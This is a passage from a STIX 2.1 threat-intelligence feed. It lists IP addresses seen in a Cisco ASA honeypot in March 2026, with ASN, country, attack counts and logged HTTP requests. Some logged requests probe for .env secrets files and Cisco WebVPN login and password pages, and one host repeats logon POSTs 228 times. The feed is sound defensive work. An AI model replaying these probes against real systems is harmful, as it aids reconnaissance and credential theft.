      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--f42f9d03-fa53-494c-97e4-1c2797fe154d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.97.19.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T23:20:03.000Z",
      "valid_until": "2026-04-20T23:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-19T22:26:41.189Z",
          "last_seen": "2026-03-19T22:26:47.783Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /sse HTTP/1.1\" 404 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--90899434-d377-4f45-9cb5-a4df23bf1e45",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:20:13.000Z",
      "valid_until": "2026-04-21T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-20T00:32:39.155Z",
          "last_seen": "2026-03-20T00:32:39.781Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /sse HTTP/1.1\" 404 -",
            "\"POST /mcp HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--358ecc60-6711-4ff0-8495-8cb2c792ee3d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:20:13.000Z",
      "valid_until": "2026-04-21T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-20T00:32:41.333Z",
          "last_seen": "2026-03-20T00:32:44.335Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--4323713b-3e65-4fe2-8fa7-03275d5fbd55",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:20:13.000Z",
      "valid_until": "2026-04-21T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-20T00:32:15.365Z",
          "last_seen": "2026-03-20T00:32:18.368Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--1605e60d-63e1-4f8b-96d9-0b01cc414e46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '35.171.19.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:20:13.000Z",
      "valid_until": "2026-04-21T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-20T00:56:56.765Z",
          "last_seen": "2026-03-20T00:56:56.765Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--881d84c1-2ce6-4cdd-8bbc-c244b84ce0d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '52.207.117.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:20:13.000Z",
      "valid_until": "2026-04-21T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-20T00:56:59.968Z",
          "last_seen": "2026-03-20T00:57:02.969Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.env HTTP/1.1\" 404 - geo: NL; ASN 202412 (Omegatech LTD)",
      "id": "indicator--291fac0c-da64-417e-9683-10f5751fcff2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T02:20:13.000Z",
      "valid_until": "2026-04-21T02:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-20T01:25:20.581Z",
          "last_seen": "2026-03-23T04:15:25.673Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 202412,
          "as_org": "Omegatech LTD",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /dev/.env HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398722 (Censys, Inc.)",
      "id": "indicator--484adf9d-b8ad-4dce-8793-d354390fd28d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:20:13.000Z",
      "valid_until": "2026-04-21T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-20T03:44:49.278Z",
          "last_seen": "2026-03-20T03:45:03.019Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398722,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: DE; ASN 212512 (Detai Prosperous Technologies Limited)",
      "id": "indicator--f7ad21ba-fcdc-4e4e-9a3a-874920ebfeb0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.131.155.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T05:20:13.000Z",
      "valid_until": "2026-04-21T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-20T04:30:21.741Z",
          "last_seen": "2026-03-20T04:30:21.741Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 212512,
          "as_org": "Detai Prosperous Technologies Limited",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--d37c97bc-bf4f-4788-9330-a33183b069d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T05:20:13.000Z",
      "valid_until": "2026-04-21T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-20T04:20:23.885Z",
          "last_seen": "2026-03-20T04:20:42.348Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--9de6679a-b550-4050-84ee-550928b91958",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T08:20:13.000Z",
      "valid_until": "2026-04-21T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-20T08:07:27.389Z",
          "last_seen": "2026-03-20T08:07:44.385Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T09:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--dd5006ba-4a6f-4e09-b581-6d3b975108af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T09:20:04.000Z",
      "valid_until": "2026-04-21T09:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-20T08:45:02.563Z",
          "last_seen": "2026-03-20T08:45:05.565Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--40010417-2bd7-4c2f-8a8c-f722e1c9d3d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.249.177.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T10:20:04.000Z",
      "valid_until": "2026-04-21T10:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-20T09:42:03.782Z",
          "last_seen": "2026-03-20T09:42:06.785Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T11:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--a9ece17f-28d1-4f51-bfeb-fca6209abe64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:20:06.000Z",
      "valid_until": "2026-04-21T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-20T10:54:41.683Z",
          "last_seen": "2026-03-20T10:54:41.683Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T11:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--bac03481-2d3b-41d6-bcde-1a37c8e3064f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T11:20:06.000Z",
      "valid_until": "2026-04-21T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-20T10:58:03.567Z",
          "last_seen": "2026-03-20T10:58:03.567Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--5ddb96f9-07fe-4a64-90c6-3c66f97ce512",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T13:20:13.000Z",
      "valid_until": "2026-04-21T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-20T12:44:15.418Z",
          "last_seen": "2026-03-20T12:44:29.607Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T15:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FI; ASN 209702 (Soldatov Alexey Valerevich)",
      "id": "indicator--9336fd33-e34c-41ec-9d2a-b6c6c86eff4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.66.66.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T15:20:14.000Z",
      "valid_until": "2026-04-21T15:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 228,
          "first_seen": "2026-03-20T15:15:43.069Z",
          "last_seen": "2026-03-23T06:16:31.296Z",
          "country": "Finland",
          "country_code": "FI",
          "asn": 209702,
          "as_org": "Soldatov Alexey Valerevich",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--1fd509e0-23ec-4248-99ce-6563e84a8b7a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:20:13.000Z",
      "valid_until": "2026-04-21T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-20T16:05:22.528Z",
          "last_seen": "2026-03-20T16:05:22.528Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--2498bc88-6f49-4306-b72e-a52b16ac536d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:20:13.000Z",
      "valid_until": "2026-04-21T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-20T16:11:07.684Z",
          "last_seen": "2026-03-20T16:11:07.684Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-20T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /welcome HTTP/1.1\" 404 - geo: PL; ASN 201814 (MEVSPACE sp. z o.o.)",
      "id": "indicator--f18807b8-4e22-4889-a390-0f770f7405cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '95.214.55.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T19:20:13.000Z",
      "valid_until": "2026-04-21T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-20T19:12:42.820Z",
          "last_seen": "2026-03-20T19:12:42.820Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 201814,
          "as_org": "MEVSPACE sp. z o.o.",
          "event_types": [
            "\"GET /welcome HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-21T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--dca530c7-c5e0-41d7-9609-6bc2f0f97044",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:20:13.000Z",
      "valid_until": "2026-04-22T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-21T00:38:07.843Z",
          "last_seen": "2026-03-21T00:38:08.571Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-21T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--9c8082d5-6515-47ca-aa27-73451f3779f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '204.236.211.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:20:13.000Z",
      "valid_until": "2026-04-22T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-21T00:51:54.175Z",
